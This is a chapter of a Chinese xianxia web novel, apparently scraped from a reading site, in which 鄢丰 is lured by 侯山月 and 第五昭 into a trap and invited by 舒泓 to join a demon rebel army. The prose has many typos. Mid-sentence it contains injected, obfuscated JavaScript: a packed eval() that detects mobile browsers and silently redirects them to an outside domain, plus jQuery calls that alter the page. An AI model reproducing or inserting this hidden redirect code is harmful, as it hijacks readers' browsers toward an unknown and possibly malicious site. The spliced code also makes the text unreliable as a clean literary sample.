55. 叛军(二)
作品:《我是仇人的白月光》 那一次下山历练之前,在昆山之上,也是这样的下弦月,贺灵抱着自己酿的桂花酒,扣开了她的房门。
“鄢丰,我的好师妹,”她微微笑着,将手中的酒捧到她的面前,“来陪师姐一起喝酒呀。”
每一次,对上这样的一双眼睛,鄢丰总是不忍心拒绝的。
“……好。”
回过神的时候,鄢丰发现自己已经下意识答应了她的邀请。
侯山月却反而有些哭闹起来:“我可没有钱啊……这顿酒虽然是我请,可是也得劳烦鄢姑娘你来替我买单。”
鄢丰想了想,说:“我知道一个地方,有免费的酒。”
侯山月眼睛一亮:“在哪里?”
她眼中原本还有点狐疑,对鄢丰并没有完全信任,可听到有酒喝,便立刻打消了所有的疑虑,跟着衣服便走了。
鄢丰记得,三百年前,经历过阿昭的事情之后,她曾经故地重游,来到儒法家交界的地方,在那棵海棠树下,埋下了数谈女儿红。
方才听到侯山月说起女儿红,她便想起了这里。
左右她不是贪杯的人,不如把酒分给能够欣赏它们的人。
四所见,她们已经来到了那棵树下。
鄢丰轻车熟路蹲下身,拔出剑便开始挖土。
她一面挖,一面道:“这酒虽然不及儒家的千年陈酿,但是细细算来到如今,也埋了有五百年之久。……还望侯姑娘能喜欢。”
听到五百年,侯山月眼睛一下亮了起来:“那是自然!”
鄢丰抱出酒,一、二、三……
一探界一谈地放在身边。
九。
鄢丰疑惑地朝地窖里看了一眼,确认没有了,心中反而有些疑惑。
……记忆中,她埋了十坛。
怎么会凭空少了一坛?
但鄢丰只犹豫了片刻便很快掩饰好神色,转头朝侯山月笑了笑:
“希望今晚,侯姑娘能喝得尽兴。”
那边侯山月早等不及鄢丰说话,抱起酒坛便对着喝了起来。
她喝得快极了,和贺灵半点儿也不像。
毫不夸张地说,曾经——昆山还在、师父还在、贺灵也还在的时候,贺灵是整个昆山上最爱酒的人。
但鄢丰记得,她爱酒爱得优雅风致,不仅讲究喝的时间和酒的年份,更看重同饮的人,看重天时地利人和——春日要喝剑南春,夏日要喝女儿红,冬日要喝烧刀子暖胃……
所有的这些,都讲究极了。
当她真的喝起酒来,也不忘记身为昆山弟子、身为掌门首席的风度。
她喝酒,但喝的也同样是一分风雅。
眼前的女子却截然不同。
她看起来,是一个绝不会将任何规则放在眼里的人。
鄢丰怀疑,如果今日她没能喝个痛快,明日儒家那坛千年女儿红的彩头便要失窃了。
“你怎么不喝?”
侯山月看她还在愣神,催促道:“良辰美酒虽好,可也得有个伴儿,这酒合起来才能算尽兴啊……”
贺灵死后,鄢丰很少有过这样放松的时间。
她不由吐出一口浊气,微微笑起来:
“我的酒量很好,这么多年,还未尝败绩。”
说罢,她便也抱起酒坛,扔下塞子便喝了起来。
一直到天蒙蒙亮的时候,九坛女儿红已经尽数喝干了。
侯山月已经微微有了些醉意,她目光濛濛地看了鄢丰一眼,忽而抚掌大笑起来:
“哈哈哈哈哈哈哈哈……哈哈哈哈哈哈!今日真是棋逢对手!”
她一掌拍在鄢丰肩膀上:“我已经很久没跟人喝得这样尽兴了。我当你是半个朋友,要不要一起……去干一票大的?”
鄢丰虽然面上不显,但其实也有些微醺之意,闻言她反应慢了半拍:
“……干什么?”
侯山月咧嘴一笑:“去尝一尝,他们这论剑会的彩头,味道如何!”
鄢丰混沌间被她拉起来,迷迷糊糊地想:当年来参加论剑会的彩头,为什么不是这坛女儿红呢……?
鄢丰发现自己根本无法拒绝眼前的女子。
她和贺灵太像了——除了爱酒,他们哪里都不一样,贺灵是内敛克制的,是温柔友善的,而眼前的侯山月确实奔放直白的,是热情吵闹的。
他们出处都不一样,鄢丰却觉得,他们处处都让她想起他。
她太久没有见过她的师姐了,太久没有这样纯粹快乐的时刻了。
她舍不得。
也正因如此,鄢丰没有注意到,原本无月无凤的夜晚,不知何时,云雾三区,一轮满月,毫无预兆地高悬夜空。
诡异的寂静弥漫开来,鄢丰一个激灵清醒过来,猛地停下脚步。
走在前面的侯山月察觉到,脚步一顿,回过头,问她:“怎么了?”
在一片濛濛夜色中,鄢丰对上一双血红的眼瞳。
下一刻,脚下光芒大盛,鄢丰不可置信地睁大眼睛,看着脚下阵法莹白色的纹路,惊恐与不知所措的情绪同时复现在她的脸上——
这个阵法、这个地点,是她再熟悉不过的……永夜阵!
“她竟真的相信你。”
一声嗤笑从耳边传来,鄢丰抬起头,对上第五昭那双熟悉的黑曜石一般的眼睛。
那双眼睛此刻在满月之下正渐渐变红,可是意外的是,尽管两人的瞳孔都变成了红色,鄢丰却无法从他们的神情中看出一点儿失去神智的迹象。
侯山月不明所以地迎上第五昭暗藏针锋的眼睛,耸了耸肩:
“别把她杀了……毕竟是我的救命恩人。而且……”她似乎有点儿心绪地看了她一眼,“她的酒还不错。”
第五昭不再说话,永夜阵在下一刻启动,鄢丰感到眼前被浓重的黑色笼罩起来。
再次睁开眼睛的时候,鄢丰发现,自己伸出一间熟悉的地牢当中。
所不同的是,当年这座地牢中是那个脏兮兮的孩子和她关押在一起,他们共同寻找逃离的方法。
而此刻,那个人站在她的对面,陌生而熟悉的眼睛一瞬不瞬地盯着她,仿佛又千言万语,却终究什么也没能说出口。
半晌,侯山月从外面风尘仆仆走进来:“你在干什么呢?那姓舒的喊你过去。”
“喊我?”第五昭不明所以地笑了笑,还是站在原地没动,对此压根无动于衷。
鄢丰听到他们的对话先是吃了一惊,很快又冷静下来——
舒泓到底想要做什么?
第五昭和舒泓又到底是什么时候达成这样的合作的?
“一次又一此被背叛的感觉如何?”
一道声音将她思绪换回,去没能成功地激怒鄢丰。
她眼底一片沉寂——这就是心魔剥离之后她最大的变化。
她再也不想当时在裂缝之下那样容易被激怒,被蛊惑,乃至于彻底被情绪掌控,失去神智,无差别地攻击所有人……
鄢丰心下稍安,第一次感到那道声音的消失对她的影响是如此巨大,而且直观。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557306|171331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了他一会,问:
“那一天在金陵,你和他达成了什么协议?”
第五昭冷笑一声,并不回答。
这也在鄢丰的意料之中,她正要再开口,反而是一边的侯山月开口道:
“姑娘莫怪,我们把你带来这里可不是要做什么不好的勾当——我们不是炼人的。”
鄢丰这次终于抬起头看向侯山月,后者眼神清澈见底似乎真的不是在说谎言。
她顿了顿,竟然从腰间取下牢门的钥匙,走到他的身边,朝她伸出手:
“我看你身手不凡……姑娘,要不要加入我们?”侯山月眉眼弯弯,“我以魔族叛军右护法的身份,正式邀请你,和我们一起,工打下儒家城!”
鄢丰睁大眼睛,原本被她这笑容蛊惑的感情迅速远去,唯有这最后的一句话掷地有声,让她几乎难以置信。
可是侯山月就是这样大喇喇说了出来,好像丝毫没有察觉到不对。
鄢丰不可置信地问:“……你说什么?”
“你没有听错。”
未见其人,先闻其声,下一刻,身着滑轨紫衣的男子摇着扇子出现在侯山月的身边,正是舒泓。
鄢丰神情瞬间凝重起来,脑中正在飞速思索如何离开这里,把这个消息告诉聂听琴。
舒泓却似乎看穿了她的想法,微微笑了一声,却没有说破,反而另起了一个话题:
“你在医家修养那么些时日,恐怕不只是恢复了右臂那么简单吧?”
鄢丰和舒泓对视,眼底的沉着冷静已经让她知道了答案。
舒泓眼中露出了然的神色,摇了摇扇子。
“别急。”
他转过身将搬开的牢门打开更多,做出一个“请”的手势。
在场的另外几人都错愕至极,唯有舒泓神情不变,仍然从容,他朝她颔首:
“我知道,以你的性子必然不可能答应她的。没有关系,你大可以立刻离开这里,没有人敢拦你。”
鄢丰却迟迟未动。
如果真的离开了,确实可以向聂听琴通风报信,提早为这突如其来的战争做好筹备,可舒泓足智多谋,一定想到了这一层。
也就是说,她的目的或许根本就是要她充当那个传递消息的人。
……为什么?
可是如果此时不离开,等到舒泓反悔了,她以凡人之身,也根本没有任何别的办法逃离这里。
舒泓看出她的犹豫,却没有说话,只是耐心地等待着。
就像从前,他教给她一个新的招式的时候,如果她不让他重复一遍,无论她遇到怎样的困难,他都只会在一边静静看着,什么也不说。
直到她自己向他求助,或者追问。
半晌,鄢丰站起来,打定主意,问他:
“前辈今日为何将我带到这儿?”
舒泓微微笑了笑:“如你所见……我代表魔族叛军的首领,邀请你,加入我们的计划。”
鄢丰不语。
“你大可以回去,将这一切都告诉你的那位聂前辈。可是……”舒泓神情不变,眼底却露出一个莫测的神情,“总有一天,你会心甘情愿地来找我们。而我,随时恭候你的到来。”
鄢丰听罢终于不再犹豫,站起身便离开了。
身后,舒泓神情莫测地看着鄢丰离开的背影,低声自语:
“因为,只有我们……才能帮助你,找回你丢失的心魔啊。”他转过头毫无征兆地看向第五昭,却仍然难掩眼中轻蔑,“你说是吗,我们的,魔君大人?”